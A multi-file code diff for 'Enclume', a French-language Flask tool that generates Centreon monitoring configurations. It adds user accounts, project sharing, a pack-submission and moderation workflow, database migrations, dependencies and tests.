var barre = elt('div', { className: 'barre' });
|
||||||
|
var envoi = elt('button', { type: 'button', className: 'primary auto', textContent: 'Soumettre', disabled: true });
|
||||||
|
|
||||||
|
barre.appendChild(elt('button', {
|
||||||
|
type: 'button', textContent: 'Verifier',
|
||||||
|
onclick: function () {
|
||||||
|
appelJSON('/api/soumissions/verifier', {
|
||||||
|
method: 'POST', body: JSON.stringify({ yaml: zone.value })
|
||||||
|
}).then(function (donnees) {
|
||||||
|
retour.innerHTML = '';
|
||||||
|
if (donnees.valide) {
|
||||||
|
var note = elt('div', { className: 'notice' });
|
||||||
|
note.appendChild(elt('b', { textContent: 'Pack valide' }));
|
||||||
|
note.appendChild(elt('p', {
|
||||||
|
textContent: donnees.pack.nom + ' — ' + donnees.pack.sondes + ' sonde(s), modele ' + donnees.pack.modele_hote
|
||||||
|
}));
|
||||||
|
retour.appendChild(note);
|
||||||
|
envoi.disabled = false;
|
||||||
|
} else {
|
||||||
|
var mauvais = elt('div', { className: 'notice bad' });
|
||||||
|
mauvais.appendChild(elt('b', { textContent: 'A corriger' }));
|
||||||
|
var ul = elt('ul');
|
||||||
|
donnees.problemes.forEach(function (p) { ul.appendChild(elt('li', { textContent: p })); });
|
||||||
|
mauvais.appendChild(ul);
|
||||||
|
retour.appendChild(mauvais);
|
||||||
|
envoi.disabled = true;
|
||||||
|
}
|
||||||
|
}).catch(function (erreur) { alert(erreur.message); });
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
envoi.addEventListener('click', function () {
|
||||||
|
appelJSON('/api/soumissions', {
|
||||||
|
method: 'POST', body: JSON.stringify({ yaml: zone.value, message: mot.value })
|
||||||
|
}).then(function () {
|
||||||
|
fermerModale();
|
||||||
|
etat('Pack soumis, en attente de relecture');
|
||||||
|
}).catch(function (erreur) { alert('Soumission refusee : ' + erreur.message); });
|
||||||
|
});
|
||||||
|
|
||||||
|
barre.appendChild(envoi);
|
||||||
|
corps.appendChild(barre);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -63,6 +63,7 @@ small { color: var(--ink-dim); font-size: 12px; display: block; margin-top: 4px;
|
|||||||
font-size: 14px;
|
font-size: 14px;
|
||||||
font-weight: 600;
|
font-weight: 600;
|
||||||
}
|
}
|
||||||
|
.toolbar select { width: auto; min-width: 210px; flex: 0 0 auto; }
|
||||||
.toolbar .sep { width: 1px; height: 22px; background: var(--line); margin: 0 4px; }
|
.toolbar .sep { width: 1px; height: 22px; background: var(--line); margin: 0 4px; }
|
||||||
.toolbar .grow { flex: 1; text-align: right; color: var(--ok); font-size: 12.5px; }
|
.toolbar .grow { flex: 1; text-align: right; color: var(--ok); font-size: 12.5px; }
|
||||||
|
|
||||||
@@ -364,3 +365,32 @@ pre.code {
|
|||||||
.pied .grow { flex: 1; }
|
.pied .grow { flex: 1; }
|
||||||
.pied a { color: var(--ink-dim); }
|
.pied a { color: var(--ink-dim); }
|
||||||
.pied a:hover { color: var(--accent); }
|
.pied a:hover { color: var(--accent); }
|
||||||
|
|
||||||
|
/* -------------------------------------------- comptes, partage, moderation */
|
||||||
|
|
||||||
|
.toolbar .compte { font-size: 12.5px; color: var(--ink-dim); }
|
||||||
|
.toolbar .compte a { margin-left: 6px; }
|
||||||
|
.toolbar a.btn { padding: 6px 11px; }
|
||||||
|
|
||||||
|
.wrap-moderation { max-width: 1000px; margin: 0 auto; padding: 22px 26px 60px; }
|
||||||
|
.moderation { display: flex; flex-direction: column; }
|
||||||
|
.moderation-detail {
|
||||||
|
margin-top: 22px;
|
||||||
|
border-top: 1px solid var(--line);
|
||||||
|
padding-top: 18px;
|
||||||
|
}
|
||||||
|
.moderation-detail h3 { margin-bottom: 10px; }
|
||||||
|
.moderation-detail pre.code { border-top: 1px solid var(--line); margin-top: 10px; }
|
||||||
|
|
||||||
|
#modal-corps textarea {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 12px;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
#modal-corps input[type="text"] { margin-bottom: 10px; }
|
||||||
|
#modal-corps .notice { margin: 12px 0 0; }
|
||||||
|
|
||||||
|
/* --------------------------------------------------------- prerequis */
|
||||||
|
|
||||||
|
.prerequis { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 4px 16px; }
|
||||||
|
.prerequis textarea { min-height: 90px; }
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
/* Moderation des soumissions de packs. */
|
||||||
|
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
var liste = document.getElementById('liste');
|
||||||
|
var detail = document.getElementById('detail');
|
||||||
|
var filtre = document.getElementById('filtre-statut');
|
||||||
|
|
||||||
|
function creer(tag, props) {
|
||||||
|
var noeud = document.createElement(tag);
|
||||||
|
Object.keys(props || {}).forEach(function (cle) {
|
||||||
|
if (cle === 'onclick') noeud.addEventListener('click', props[cle]);
|
||||||
|
else noeud[cle] = props[cle];
|
||||||
|
});
|
||||||
|
return noeud;
|
||||||
|
}
|
||||||
|
|
||||||
|
function json(url, options) {
|
||||||
|
options = options || {};
|
||||||
|
options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {});
|
||||||
|
return fetch(url, options).then(function (r) {
|
||||||
|
return r.json().catch(function () { return {}; }).then(function (corps) {
|
||||||
|
if (!r.ok) throw new Error(corps.erreur || 'echec de la requete');
|
||||||
|
return corps;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function charger() {
|
||||||
|
detail.hidden = true;
|
||||||
|
liste.innerHTML = '';
|
||||||
|
json('/api/moderation/soumissions?statut=' + encodeURIComponent(filtre.value))
|
||||||
|
.then(function (soumissions) {
|
||||||
|
if (!soumissions.length) {
|
||||||
|
liste.appendChild(creer('p', { className: 'lede', textContent: 'Rien dans cette file.' }));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
soumissions.forEach(function (s) {
|
||||||
|
var ligne = creer('div', { className: 'pack-ligne' });
|
||||||
|
var texte = creer('div');
|
||||||
|
texte.appendChild(creer('b', { textContent: s.nom || s.pack_id }));
|
||||||
|
texte.appendChild(creer('span', { className: 'tag', textContent: s.statut.replace('_', ' ') }));
|
||||||
|
texte.appendChild(creer('div', {
|
||||||
|
className: 'desc',
|
||||||
|
textContent: s.pack_id + ' — ' + s.categorie + ' — propose par ' + (s.auteur || 'inconnu') +
|
||||||
|
' le ' + (s.cree_le || '').slice(0, 10)
|
||||||
|
}));
|
||||||
|
if (s.url_pr) {
|
||||||
|
var lien = creer('a', { href: s.url_pr, textContent: 'demande de fusion', target: '_blank' });
|
||||||
|
lien.rel = 'noopener';
|
||||||
|
texte.appendChild(lien);
|
||||||
|
}
|
||||||
|
if (s.reponse) texte.appendChild(creer('div', { className: 'desc', textContent: 'Motif : ' + s.reponse }));
|
||||||
|
ligne.appendChild(texte);
|
||||||
|
var actions = creer('div', { className: 'barre' });
|
||||||
|
actions.appendChild(creer('button', {
|
||||||
|
type: 'button', className: 'small', textContent: 'Examiner',
|
||||||
|
onclick: function () { examiner(s.id); }
|
||||||
|
}));
|
||||||
|
ligne.appendChild(actions);
|
||||||
|
liste.appendChild(ligne);
|
||||||
|
});
|
||||||
|
})
|
||||||
|
.catch(function (erreur) {
|
||||||
|
liste.appendChild(creer('div', { className: 'notice bad', textContent: erreur.message }));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function examiner(identifiant) {
|
||||||
|
json('/api/moderation/soumissions/' + identifiant).then(function (s) {
|
||||||
|
detail.hidden = false;
|
||||||
|
detail.innerHTML = '';
|
||||||
|
detail.appendChild(creer('h3', { textContent: (s.nom || s.pack_id) + ' — ' + s.pack_id }));
|
||||||
|
if (s.message) {
|
||||||
|
var mot = creer('div', { className: 'notice' });
|
||||||
|
mot.appendChild(creer('b', { textContent: "Mot de l'auteur" }));
|
||||||
|
mot.appendChild(creer('p', { textContent: s.message }));
|
||||||
|
detail.appendChild(mot);
|
||||||
|
}
|
||||||
|
detail.appendChild(creer('div', {
|
||||||
|
className: 'notice',
|
||||||
|
textContent: "Contribution externe : relire les lignes de commande, les macros et les " +
|
||||||
|
'prerequis. Publier ouvre une demande de fusion, ca ne modifie pas la branche principale.'
|
||||||
|
}));
|
||||||
|
detail.appendChild(creer('pre', { className: 'code', textContent: s.contenu }));
|
||||||
|
|
||||||
|
if (s.statut === 'en_attente') {
|
||||||
|
var barre = creer('div', { className: 'barre' });
|
||||||
|
barre.appendChild(creer('button', {
|
||||||
|
type: 'button', className: 'primary auto', textContent: 'Publier (ouvre une demande de fusion)',
|
||||||
|
onclick: function () {
|
||||||
|
json('/api/moderation/soumissions/' + identifiant + '/publier', { method: 'POST' })
|
||||||
|
.then(function (resultat) {
|
||||||
|
alert('Demande de fusion ouverte : ' + (resultat.url_pr || 'voir Gitea'));
|
||||||
|
charger();
|
||||||
|
})
|
||||||
|
.catch(function (erreur) { alert('Publication impossible : ' + erreur.message); });
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
barre.appendChild(creer('button', {
|
||||||
|
type: 'button', className: 'danger', textContent: 'Refuser',
|
||||||
|
onclick: function () {
|
||||||
|
var motif = prompt('Motif du refus, communique a l\'auteur :');
|
||||||
|
if (motif === null) return;
|
||||||
|
json('/api/moderation/soumissions/' + identifiant + '/refuser', {
|
||||||
|
method: 'POST', body: JSON.stringify({ motif: motif })
|
||||||
|
}).then(charger).catch(function (erreur) { alert(erreur.message); });
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
detail.appendChild(barre);
|
||||||
|
}
|
||||||
|
detail.scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||||
|
}).catch(function (erreur) { alert(erreur.message); });
|
||||||
|
}
|
||||||
|
|
||||||
|
filtre.addEventListener('change', charger);
|
||||||
|
charger();
|
||||||
@@ -7,10 +7,26 @@
|
|||||||
</select>
|
</select>
|
||||||
<span class="sep"></span>
|
<span class="sep"></span>
|
||||||
<button type="button" id="btn-pack">Importer un pack</button>
|
<button type="button" id="btn-pack">Importer un pack</button>
|
||||||
<button type="button" id="btn-import">Ouvrir un projet</button>
|
<button type="button" id="btn-import">Ouvrir un fichier</button>
|
||||||
<button type="button" id="btn-export">Enregistrer le projet</button>
|
<button type="button" id="btn-export">Telecharger le projet</button>
|
||||||
<button type="button" id="btn-vider" class="danger">Vider</button>
|
<button type="button" id="btn-vider" class="danger">Vider</button>
|
||||||
|
{% if fonctions.partage %} <button type="button" id="btn-partager">Partager</button>{% endif %}
|
||||||
|
{% if fonctions.projets_enregistres %}
|
||||||
|
<button type="button" id="btn-serveur-enregistrer" {% if not utilisateur %}hidden{% endif %}>Enregistrer en ligne</button>
|
||||||
|
<button type="button" id="btn-serveur-ouvrir" {% if not utilisateur %}hidden{% endif %}>Mes projets</button>
|
||||||
|
{% endif %}
|
||||||
<span class="grow" id="etat-sauvegarde"></span>
|
<span class="grow" id="etat-sauvegarde"></span>
|
||||||
|
{% if fonctions.soumissions and utilisateur %}
|
||||||
|
<button type="button" id="btn-soumettre">Proposer un pack</button>
|
||||||
|
{% endif %}
|
||||||
|
{% if fonctions.comptes %}
|
||||||
|
{% if utilisateur %}
|
||||||
|
<span class="compte">{{ utilisateur.affichage }}{% if utilisateur.administrateur %} <a href="/moderation">moderation</a>{% endif %}</span>
|
||||||
|
<button type="button" id="btn-deconnexion" class="small">Se deconnecter</button>
|
||||||
|
{% else %}
|
||||||
|
<a class="btn" href="/connexion">Se connecter</a>
|
||||||
|
{% endif %}
|
||||||
|
{% endif %}
|
||||||
<button type="button" id="btn-generer" class="primary">Generer le CLAPI</button>
|
<button type="button" id="btn-generer" class="primary">Generer le CLAPI</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -42,5 +58,10 @@
|
|||||||
</template>
|
</template>
|
||||||
|
|
||||||
<script id="donnees-types" type="application/json">{{ command_types|tojson }}</script>
|
<script id="donnees-types" type="application/json">{{ command_types|tojson }}</script>
|
||||||
<script src="{{ url_for('static', filename='editor.js') }}"></script>
|
<script id="donnees-contexte" type="application/json">{{ {
|
||||||
|
"fonctions": fonctions,
|
||||||
|
"connecte": utilisateur is not none,
|
||||||
|
"partage": partage|default(none),
|
||||||
|
}|tojson }}</script>
|
||||||
|
<script src="{{ url_for('static', filename='editeur.js') }}"></script>
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
{% block title %}Moderation — Enclume{% endblock %}
|
||||||
|
{% block body %}
|
||||||
|
<div class="wrap-moderation">
|
||||||
|
{% if not connecte %}
|
||||||
|
<div class="notice">
|
||||||
|
<b>Connexion requise</b>
|
||||||
|
<p>Cette page est reservee a l'equipe de moderation.</p>
|
||||||
|
<p style="margin-top:10px"><a class="btn" href="/connexion?retour=/moderation">Se connecter</a></p>
|
||||||
|
</div>
|
||||||
|
{% elif not autorise %}
|
||||||
|
<div class="notice bad">
|
||||||
|
<b>Acces refuse</b>
|
||||||
|
<p>Votre compte n'appartient pas au groupe de moderation.</p>
|
||||||
|
</div>
|
||||||
|
{% else %}
|
||||||
|
<div class="objet-head">
|
||||||
|
<h2>Soumissions de packs</h2>
|
||||||
|
<span class="grow"></span>
|
||||||
|
<select id="filtre-statut">
|
||||||
|
<option value="en_attente">En attente</option>
|
||||||
|
<option value="publiee">Publiees</option>
|
||||||
|
<option value="refusee">Refusees</option>
|
||||||
|
<option value="toutes">Toutes</option>
|
||||||
|
</select>
|
||||||
|
<a class="btn" href="/">Retour a l'editeur</a>
|
||||||
|
</div>
|
||||||
|
<div class="moderation" id="liste"></div>
|
||||||
|
<div class="moderation-detail" id="detail" hidden></div>
|
||||||
|
{% endif %}
|
||||||
|
</div>
|
||||||
|
{% if autorise %}<script src="{{ url_for('static', filename='moderation.js') }}"></script>{% endif %}
|
||||||
|
{% endblock %}
|
||||||
+49
-1
@@ -15,7 +15,10 @@ import zipfile
|
|||||||
|
|
||||||
from flask import Flask, Response, jsonify, render_template, request
|
from flask import Flask, Response, jsonify, render_template, request
|
||||||
|
|
||||||
|
from . import auth
|
||||||
from .catalog import CATEGORIES, Catalog
|
from .catalog import CATEGORIES, Catalog
|
||||||
|
from .config import Config
|
||||||
|
from .db import db
|
||||||
from .generator import build_plan, generate, render_bundle
|
from .generator import build_plan, generate, render_bundle
|
||||||
from .model import CENTREON_VERSIONS, COMMAND_TYPES, Project, detect_macros, strip_secrets
|
from .model import CENTREON_VERSIONS, COMMAND_TYPES, Project, detect_macros, strip_secrets
|
||||||
from .packs import pack_to_project
|
from .packs import pack_to_project
|
||||||
@@ -44,9 +47,23 @@ def _repertoire_catalogue() -> str:
|
|||||||
|
|
||||||
def create_app() -> Flask:
|
def create_app() -> Flask:
|
||||||
app = Flask(__name__)
|
app = Flask(__name__)
|
||||||
|
app.config.from_object(Config)
|
||||||
app.config["MAX_CONTENT_LENGTH"] = MAX_BODY
|
app.config["MAX_CONTENT_LENGTH"] = MAX_BODY
|
||||||
app.config["CATALOG"] = Catalog(_repertoire_catalogue())
|
app.config["CATALOG"] = Catalog(_repertoire_catalogue())
|
||||||
|
|
||||||
|
if Config.base_active():
|
||||||
|
db.init_app(app)
|
||||||
|
auth.init_app(app)
|
||||||
|
|
||||||
|
from .routes_donnees import bp as bp_donnees
|
||||||
|
|
||||||
|
app.register_blueprint(bp_donnees)
|
||||||
|
|
||||||
|
if not Config.SECRET_KEY_FOURNIE and Config.base_active():
|
||||||
|
app.logger.warning(
|
||||||
|
"ENCLUME_SECRET_KEY absente : les sessions seront perdues au redemarrage."
|
||||||
|
)
|
||||||
|
|
||||||
def catalog() -> Catalog:
|
def catalog() -> Catalog:
|
||||||
return app.config["CATALOG"]
|
return app.config["CATALOG"]
|
||||||
|
|
||||||
@@ -69,7 +86,13 @@ def create_app() -> Flask:
|
|||||||
|
|
||||||
@app.context_processor
|
@app.context_processor
|
||||||
def contexte_commun() -> dict:
|
def contexte_commun() -> dict:
|
||||||
return {"version": os.environ.get("ENCLUME_VERSION", "dev")}
|
utilisateur = auth.utilisateur_courant() if Config.base_active() else None
|
||||||
|
return {
|
||||||
|
"version": Config.VERSION,
|
||||||
|
"fonctions": Config.etat(),
|
||||||
|
"utilisateur": utilisateur,
|
||||||
|
"oidc_nom": Config.OIDC_NOM,
|
||||||
|
}
|
||||||
|
|
||||||
@app.get("/")
|
@app.get("/")
|
||||||
def editor() -> str:
|
def editor() -> str:
|
||||||
@@ -84,6 +107,30 @@ def create_app() -> Flask:
|
|||||||
service_count=cat.service_count,
|
service_count=cat.service_count,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@app.get("/p/<identifiant>")
|
||||||
|
def page_partage(identifiant: str) -> str:
|
||||||
|
"""Ouvre l'editeur, qui chargera le projet partage depuis l'API."""
|
||||||
|
cat = catalog()
|
||||||
|
return render_template(
|
||||||
|
"editeur.html",
|
||||||
|
versions=CENTREON_VERSIONS,
|
||||||
|
command_types=COMMAND_TYPES,
|
||||||
|
categories=CATEGORIES,
|
||||||
|
grouped=cat.by_category(),
|
||||||
|
pack_count=len(cat.packs),
|
||||||
|
service_count=cat.service_count,
|
||||||
|
partage=identifiant,
|
||||||
|
)
|
||||||
|
|
||||||
|
@app.get("/moderation")
|
||||||
|
def page_moderation():
|
||||||
|
utilisateur = auth.utilisateur_courant() if Config.base_active() else None
|
||||||
|
if utilisateur is None:
|
||||||
|
return render_template("moderation.html", autorise=False, connecte=False)
|
||||||
|
return render_template(
|
||||||
|
"moderation.html", autorise=utilisateur.administrateur, connecte=True
|
||||||
|
)
|
||||||
|
|
||||||
@app.get("/sante")
|
@app.get("/sante")
|
||||||
def health() -> Response:
|
def health() -> Response:
|
||||||
cat = catalog()
|
cat = catalog()
|
||||||
@@ -95,6 +142,7 @@ def create_app() -> Flask:
|
|||||||
"packs": len(cat.packs),
|
"packs": len(cat.packs),
|
||||||
"source_catalogue": cat.root,
|
"source_catalogue": cat.root,
|
||||||
"erreurs_catalogue": cat.errors,
|
"erreurs_catalogue": cat.errors,
|
||||||
|
"fonctions": Config.etat(),
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
"""Contexte Alembic.
|
||||||
|
|
||||||
|
L'URL vient de l'environnement, jamais du fichier ini : la meme image sert en
|
||||||
|
developpement et en production.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from alembic import context
|
||||||
|
from sqlalchemy import engine_from_config, pool
|
||||||
|
|
||||||
|
sys.path.insert(0, os.getcwd())
|
||||||
|
|
||||||
|
from enclume.db import Base # noqa: E402
|
||||||
|
|
||||||
|
config = context.config
|
||||||
|
config.set_main_option("sqlalchemy.url", os.environ.get("ENCLUME_DATABASE_URL", ""))
|
||||||
|
target_metadata = Base.metadata
|
||||||
|
|
||||||
|
|
||||||
|
def run_migrations_offline() -> None:
|
||||||
|
context.configure(
|
||||||
|
url=config.get_main_option("sqlalchemy.url"),
|
||||||
|
target_metadata=target_metadata,
|
||||||
|
literal_binds=True,
|
||||||
|
dialect_opts={"paramstyle": "named"},
|
||||||
|
)
|
||||||
|
with context.begin_transaction():
|
||||||
|
context.run_migrations()
|
||||||
|
|
||||||
|
|
||||||
|
def run_migrations_online() -> None:
|
||||||
|
connectable = engine_from_config(
|
||||||
|
config.get_section(config.config_ini_section, {}),
|
||||||
|
prefix="sqlalchemy.",
|
||||||
|
poolclass=pool.NullPool,
|
||||||
|
)
|
||||||
|
with connectable.connect() as connection:
|
||||||
|
context.configure(connection=connection, target_metadata=target_metadata)
|
||||||
|
with context.begin_transaction():
|
||||||
|
context.run_migrations()
|
||||||
|
|
||||||
|
|
||||||
|
if context.is_offline_mode():
|
||||||
|
run_migrations_offline()
|
||||||
|
else:
|
||||||
|
run_migrations_online()
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
"""${message}
|
||||||
|
|
||||||
|
Revision ID: ${up_revision}
|
||||||
|
Revises: ${down_revision | comma,n}
|
||||||
|
Date: ${create_date}
|
||||||
|
"""
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
${imports if imports else ""}
|
||||||
|
|
||||||
|
revision = ${repr(up_revision)}
|
||||||
|
down_revision = ${repr(down_revision)}
|
||||||
|
branch_labels = ${repr(branch_labels)}
|
||||||
|
depends_on = ${repr(depends_on)}
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade() -> None:
|
||||||
|
${upgrades if upgrades else "pass"}
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade() -> None:
|
||||||
|
${downgrades if downgrades else "pass"}
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
"""Socle : comptes, projets, partages, soumissions.
|
||||||
|
|
||||||
|
Revision ID: 0001
|
||||||
|
Revises:
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sqlalchemy as sa
|
||||||
|
from alembic import op
|
||||||
|
|
||||||
|
revision = "0001"
|
||||||
|
down_revision = None
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade() -> None:
|
||||||
|
op.create_table(
|
||||||
|
"utilisateurs",
|
||||||
|
sa.Column("id", sa.Integer(), primary_key=True),
|
||||||
|
sa.Column("sujet", sa.String(255), nullable=False, unique=True),
|
||||||
|
sa.Column("email", sa.String(320), server_default=""),
|
||||||
|
sa.Column("nom", sa.String(255), server_default=""),
|
||||||
|
sa.Column("administrateur", sa.Boolean(), server_default=sa.false()),
|
||||||
|
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||||
|
sa.Column("vu_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||||
|
)
|
||||||
|
|
||||||
|
op.create_table(
|
||||||
|
"projets",
|
||||||
|
sa.Column("id", sa.Integer(), primary_key=True),
|
||||||
|
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False),
|
||||||
|
sa.Column("nom", sa.String(255), server_default="Projet sans nom"),
|
||||||
|
sa.Column("contenu", sa.Text(), nullable=False),
|
||||||
|
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||||
|
sa.Column("maj_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||||
|
)
|
||||||
|
op.create_index("ix_projets_utilisateur", "projets", ["utilisateur_id"])
|
||||||
|
|
||||||
|
op.create_table(
|
||||||
|
"partages",
|
||||||
|
sa.Column("id", sa.String(32), primary_key=True),
|
||||||
|
sa.Column("contenu", sa.Text(), nullable=False),
|
||||||
|
sa.Column("nom", sa.String(255), server_default=""),
|
||||||
|
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=True),
|
||||||
|
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||||
|
sa.Column("expire_le", sa.DateTime(timezone=True), nullable=False),
|
||||||
|
sa.Column("vues", sa.Integer(), server_default="0"),
|
||||||
|
)
|
||||||
|
op.create_index("ix_partages_expire", "partages", ["expire_le"])
|
||||||
|
|
||||||
|
op.create_table(
|
||||||
|
"soumissions",
|
||||||
|
sa.Column("id", sa.Integer(), primary_key=True),
|
||||||
|
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False),
|
||||||
|
sa.Column("pack_id", sa.String(64), nullable=False),
|
||||||
|
sa.Column("categorie", sa.String(32), nullable=False),
|
||||||
|
sa.Column("nom", sa.String(255), server_default=""),
|
||||||
|
sa.Column("contenu", sa.Text(), nullable=False),
|
||||||
|
sa.Column("message", sa.Text(), server_default=""),
|
||||||
|
sa.Column("statut", sa.String(16), server_default="en_attente"),
|
||||||
|
sa.Column("reponse", sa.Text(), server_default=""),
|
||||||
|
sa.Column("url_pr", sa.String(512), server_default=""),
|
||||||
|
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||||
|
sa.Column("traite_le", sa.DateTime(timezone=True), nullable=True),
|
||||||
|
)
|
||||||
|
op.create_index("ix_soumissions_statut", "soumissions", ["statut"])
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade() -> None:
|
||||||
|
op.drop_table("soumissions")
|
||||||
|
op.drop_table("partages")
|
||||||
|
op.drop_table("projets")
|
||||||
|
op.drop_table("utilisateurs")
|
||||||
@@ -1,3 +1,8 @@
|
|||||||
Flask>=3.0,<4.0
|
Flask>=3.0,<4.0
|
||||||
PyYAML>=6.0,<7.0
|
PyYAML>=6.0,<7.0
|
||||||
gunicorn>=22.0,<27.0
|
gunicorn>=22.0,<27.0
|
||||||
|
Authlib>=1.3,<2.0
|
||||||
|
Flask-SQLAlchemy>=3.1,<4.0
|
||||||
|
SQLAlchemy>=2.0,<3.0
|
||||||
|
alembic>=1.13,<2.0
|
||||||
|
psycopg[binary]>=3.1,<4.0
|
||||||
@@ -36,6 +36,13 @@ def test_prefixe_applique_aux_references():
|
|||||||
assert liaison.count("ACME-") == 2
|
assert liaison.count("ACME-") == 2
|
||||||
|
|
||||||
|
|
||||||
|
def test_version_historique_convertie():
|
||||||
|
"""Un projet enregistre avec l'ancienne notation reste lisible."""
|
||||||
|
projet = Project.from_dict({"centreon_version": "24.x"})
|
||||||
|
assert projet.centreon_version == "24.10"
|
||||||
|
assert Project.from_dict({}).centreon_version == "25.10"
|
||||||
|
|
||||||
|
|
||||||
def test_macros_trois_champs_sur_ancienne_version():
|
def test_macros_trois_champs_sur_ancienne_version():
|
||||||
projet = projet_exemple()
|
projet = projet_exemple()
|
||||||
projet.centreon_version = "legacy"
|
projet.centreon_version = "legacy"
|
||||||
@@ -91,3 +98,26 @@ def test_repli_sur_le_catalogue_de_l_image(tmp_path, monkeypatch):
|
|||||||
donnees = reponse.get_json()
|
donnees = reponse.get_json()
|
||||||
assert donnees["packs"] >= 20
|
assert donnees["packs"] >= 20
|
||||||
assert donnees["source_catalogue"] == "catalog"
|
assert donnees["source_catalogue"] == "catalog"
|
||||||
|
|
||||||
|
|
||||||
|
def test_toutes_les_ressources_de_la_page_existent():
|
||||||
|
"""Un lien casse vers le script rend l'interface muette sans aucune erreur serveur."""
|
||||||
|
import re
|
||||||
|
|
||||||
|
client = create_app().test_client()
|
||||||
|
html = client.get("/").data.decode()
|
||||||
|
refs = re.findall(r'(?:src|href)="(/static/[^"]+)"', html)
|
||||||
|
assert refs, "la page ne reference aucune ressource statique"
|
||||||
|
for ref in refs:
|
||||||
|
assert client.get(ref).status_code == 200, f"ressource introuvable : {ref}"
|
||||||
|
|
||||||
|
|
||||||
|
def test_le_script_expose_les_gestionnaires_attendus():
|
||||||
|
"""Les identifiants du gabarit et ceux du script doivent correspondre."""
|
||||||
|
import re
|
||||||
|
|
||||||
|
client = create_app().test_client()
|
||||||
|
html = client.get("/").data.decode()
|
||||||
|
script = client.get("/static/editeur.js").data.decode()
|
||||||
|
for identifiant in re.findall(r'id="(btn-[^"]+|projet-[^"]+)"', html):
|
||||||
|
assert identifiant in script, f"aucun gestionnaire pour {identifiant}"
|
||||||
@@ -0,0 +1,279 @@
|
|||||||
|
"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation.
|
||||||
|
|
||||||
|
La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier
|
||||||
|
ici, et la CI reste sans service externe.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import importlib
|
||||||
|
import json
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
PACK_VALIDE = """
|
||||||
|
id: app-rabbitmq
|
||||||
|
name: RabbitMQ
|
||||||
|
category: application
|
||||||
|
status: to-verify
|
||||||
|
plugin: centreon_rabbitmq_restapi.pl
|
||||||
|
description: Supervision d'un broker RabbitMQ via son API de management.
|
||||||
|
host_template:
|
||||||
|
name: App-RabbitMQ-custom
|
||||||
|
alias: Applicatif RabbitMQ
|
||||||
|
parents: [generic-active-host-custom]
|
||||||
|
macros:
|
||||||
|
- {name: RABBITPORT, value: "15672", description: "Port de l'API"}
|
||||||
|
services:
|
||||||
|
- name: Queues
|
||||||
|
alias: Queues
|
||||||
|
description: Messages en attente
|
||||||
|
line: "$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl --plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$"
|
||||||
|
macros:
|
||||||
|
- {name: WARNING, value: "1000", description: "Seuil warning"}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture()
|
||||||
|
def app(tmp_path, monkeypatch):
|
||||||
|
monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}")
|
||||||
|
monkeypatch.setenv("ENCLUME_CATALOG", "catalog")
|
||||||
|
monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test")
|
||||||
|
monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0")
|
||||||
|
|
||||||
|
import enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp
|
||||||
|
|
||||||
|
for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp):
|
||||||
|
importlib.reload(module)
|
||||||
|
|
||||||
|
application = enclume.webapp.create_app()
|
||||||
|
with application.app_context():
|
||||||
|
enclume.db.db.create_all()
|
||||||
|
return application
|
||||||
|
|
||||||
|
|
||||||
|
def _connecter(app, client, administrateur=False):
|
||||||
|
"""Cree un compte et ouvre une session, sans passer par le fournisseur OIDC."""
|
||||||
|
from enclume.db import Utilisateur, db
